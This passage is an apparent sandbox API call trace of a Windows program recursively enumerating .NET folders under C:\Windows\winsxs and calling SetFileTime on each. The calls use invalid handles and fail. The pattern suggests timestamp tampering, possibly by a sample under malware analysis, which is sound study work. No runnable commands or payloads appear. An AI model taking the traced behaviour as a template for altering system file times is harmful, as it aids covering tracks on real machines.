(pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434\\*.*") returned="*.*" [0165.857] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434\\") returned="C:\\Windows\\winsxs\\amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434\\" [0165.857] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434\\") returned="" [0165.857] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.857] CloseHandle (hObject=0xffffffff) returned 0 [0165.858] lstrcmpA (lpString1=".", lpString2="amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74") returned -1 [0165.858] lstrcmpA (lpString1="..", lpString2="amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74") returned -1 [0165.858] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.858] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91df0152, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91df0152, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91df0152, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.858] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.859] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.859] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.859] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.859] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74\\*.*") returned="*.*" [0165.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74\\") returned="C:\\Windows\\winsxs\\amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74\\" [0165.859] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_3f96b77d6b1b3d74\\") returned="" [0165.859] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.859] CloseHandle (hObject=0xffffffff) returned 0 [0165.860] lstrcmpA (lpString1=".", lpString2="amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57") returned -1 [0165.860] lstrcmpA (lpString1="..", lpString2="amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57") returned -1 [0165.860] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.860] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1140e32c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1140e32c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1140e32c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.864] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.865] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.865] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.865] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.865] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\*.*") returned="*.*" [0165.865] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\") returned="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" [0165.865] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\") returned="" [0165.865] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.865] CloseHandle (hObject=0xffffffff) returned 0 [0165.866] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.866] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\CORPerfMonSymbols.h") returned="CORPerfMonSymbols.h" [0165.866] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\") returned="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" [0165.866] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\") returned="" [0165.866] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.866] CloseHandle (hObject=0xffffffff) returned 0 [0165.867] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.867] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\corperfmonsymbols.ini") returned="corperfmonsymbols.ini" [0165.867] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\") returned="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" [0165.867] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-corperfmonsymbols_b03f5f7f11d50a3a_6.1.7600.16385_none_5b4a172573c72f57\\") returned="" [0165.867] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.867] CloseHandle (hObject=0xffffffff) returned 0 [0165.869] lstrcmpA (lpString1=".", lpString2="amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a") returned -1 [0165.869] lstrcmpA (lpString1="..", lpString2="amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a") returned -1 [0165.869] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.869] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1140e32c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1140e32c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1140e32c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.869] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.870] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.870] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.870] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.870] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a\\*.*") returned="*.*" [0165.870] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a\\") returned="C:\\Windows\\winsxs\\amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a\\" [0165.870] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-cscompmgd_b03f5f7f11d50a3a_6.1.7600.16385_none_22ace6a67fe3427a\\") returned="" [0165.870] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.870] CloseHandle (hObject=0xffffffff) returned 0 [0165.871] lstrcmpA (lpString1=".", lpString2="amd64_netfx-csc_exe_config_b03f5f7f11d50a3a_6.1.7600.16385_none_144e2b6640e0a3b0") returned -1 [0165.871] lstrcmpA (lpString1="..", lpString2="amd64_netfx-csc_exe_config_b03f5f7f11d50a3a_6.1.7600.16385_none_144e2b6640e0a3b0") returned -1 [0165.871] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-csc_exe_config_b03f5f7f11d50a3a_6.1.7600.16385_none_144e2b6640e0a3b0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1140e32c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1140e32c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1140e32c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.872] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.872] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.872] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.872] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.872] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.872] CloseHandle (hObject=0xffffffff) returned 0 [0165.877] lstrcmpA (lpString1=".", lpString2="amd64_netfx-csharpcompilermsg_b03f5f7f11d50a3a_6.1.7600.16385_none_fdae421192a7398e") returned -1 [0165.877] lstrcmpA (lpString1="..", lpString2="amd64_netfx-csharpcompilermsg_b03f5f7f11d50a3a_6.1.7600.16385_none_fdae421192a7398e") returned -1 [0165.878] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-csharpcompilermsg_b03f5f7f11d50a3a_6.1.7600.16385_none_fdae421192a7398e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11434486, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11434486, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11434486, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.878] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.879] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.879] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.879] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.879] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.879] CloseHandle (hObject=0xffffffff) returned 0 [0165.880] lstrcmpA (lpString1=".", lpString2="amd64_netfx-csharp_compiler_cscomp_b03f5f7f11d50a3a_6.1.7601.17514_none_b61c47637a09ceac") returned -1 [0165.880] lstrcmpA (lpString1="..", lpString2="amd64_netfx-csharp_compiler_cscomp_b03f5f7f11d50a3a_6.1.7601.17514_none_b61c47637a09ceac") returned -1 [0165.880] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-csharp_compiler_cscomp_b03f5f7f11d50a3a_6.1.7601.17514_none_b61c47637a09ceac\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91f20c54, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91f20c54, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91f20c54, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.880] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.880] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.881] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.881] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.881] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.881] CloseHandle (hObject=0xffffffff) returned 0 [0165.881] lstrcmpA (lpString1=".", lpString2="amd64_netfx-csharp_compiler_csc_b03f5f7f11d50a3a_6.1.7600.16385_none_8b52bb03d4ea5d36") returned -1 [0165.881] lstrcmpA (lpString1="..", lpString2="amd64_netfx-csharp_compiler_csc_b03f5f7f11d50a3a_6.1.7600.16385_none_8b52bb03d4ea5d36") returned -1 [0165.882] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-csharp_compiler_csc_b03f5f7f11d50a3a_6.1.7600.16385_none_8b52bb03d4ea5d36\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1140e32c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1140e32c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1140e32c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.882] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.882] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.882] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.883] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.883] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.883] CloseHandle (hObject=0xffffffff) returned 0 [0165.883] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.884] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.884] CloseHandle (hObject=0xffffffff) returned 0 [0165.884] lstrcmpA (lpString1=".", lpString2="amd64_netfx-culture_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_6787eb2ff80c8b56") returned -1 [0165.884] lstrcmpA (lpString1="..", lpString2="amd64_netfx-culture_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_6787eb2ff80c8b56") returned -1 [0165.884] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-culture_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_6787eb2ff80c8b56\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11434486, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11434486, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11434486, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.885] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.885] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.885] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.885] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.885] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.885] CloseHandle (hObject=0xffffffff) returned 0 [0165.886] lstrcmpA (lpString1=".", lpString2="amd64_netfx-cvtresui_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_5e71ce85c0430bf7") returned -1 [0165.886] lstrcmpA (lpString1="..", lpString2="amd64_netfx-cvtresui_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_5e71ce85c0430bf7") returned -1 [0165.886] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-cvtresui_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_5e71ce85c0430bf7\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11434486, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11434486, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11434486, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.886] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.887] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.887] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.887] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.887] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.887] CloseHandle (hObject=0xffffffff) returned 0 [0165.888] lstrcmpA (lpString1=".", lpString2="amd64_netfx-cvtres_for_vc_and_vb_b03f5f7f11d50a3a_6.1.7601.17514_none_726f4033dc35da15") returned -1 [0165.888] lstrcmpA (lpString1="..", lpString2="amd64_netfx-cvtres_for_vc_and_vb_b03f5f7f11d50a3a_6.1.7601.17514_none_726f4033dc35da15") returned -1 [0165.888] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-cvtres_for_vc_and_vb_b03f5f7f11d50a3a_6.1.7601.17514_none_726f4033dc35da15\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8e0e6c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c8e0e6c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c8e0e6c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.888] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.889] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.889] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.889] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.889] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.889] CloseHandle (hObject=0xffffffff) returned 0 [0165.890] lstrcmpA (lpString1=".", lpString2="amd64_netfx-data_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_76fd6bc388ff7244") returned -1 [0165.890] lstrcmpA (lpString1="..", lpString2="amd64_netfx-data_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_76fd6bc388ff7244") returned -1 [0165.890] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-data_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_76fd6bc388ff7244\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11434486, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11434486, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11434486, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.892] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.893] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.893] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.893] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.893] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.893] CloseHandle (hObject=0xffffffff) returned 0 [0165.894] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.894] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.894] CloseHandle (hObject=0xffffffff) returned 0 [0165.896] lstrcmpA (lpString1=".", lpString2="amd64_netfx-data_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_4ec86b7dcdcbb974") returned -1 [0165.896] lstrcmpA (lpString1="..", lpString2="amd64_netfx-data_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_4ec86b7dcdcbb974") returned -1 [0165.896] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-data_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_4ec86b7dcdcbb974\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11434486, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11434486, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11434486, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.899] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.899] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.899] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.899] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.899] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.899] CloseHandle (hObject=0xffffffff) returned 0 [0165.900] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.900] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.900] CloseHandle (hObject=0xffffffff) returned 0 [0165.901] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.901] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 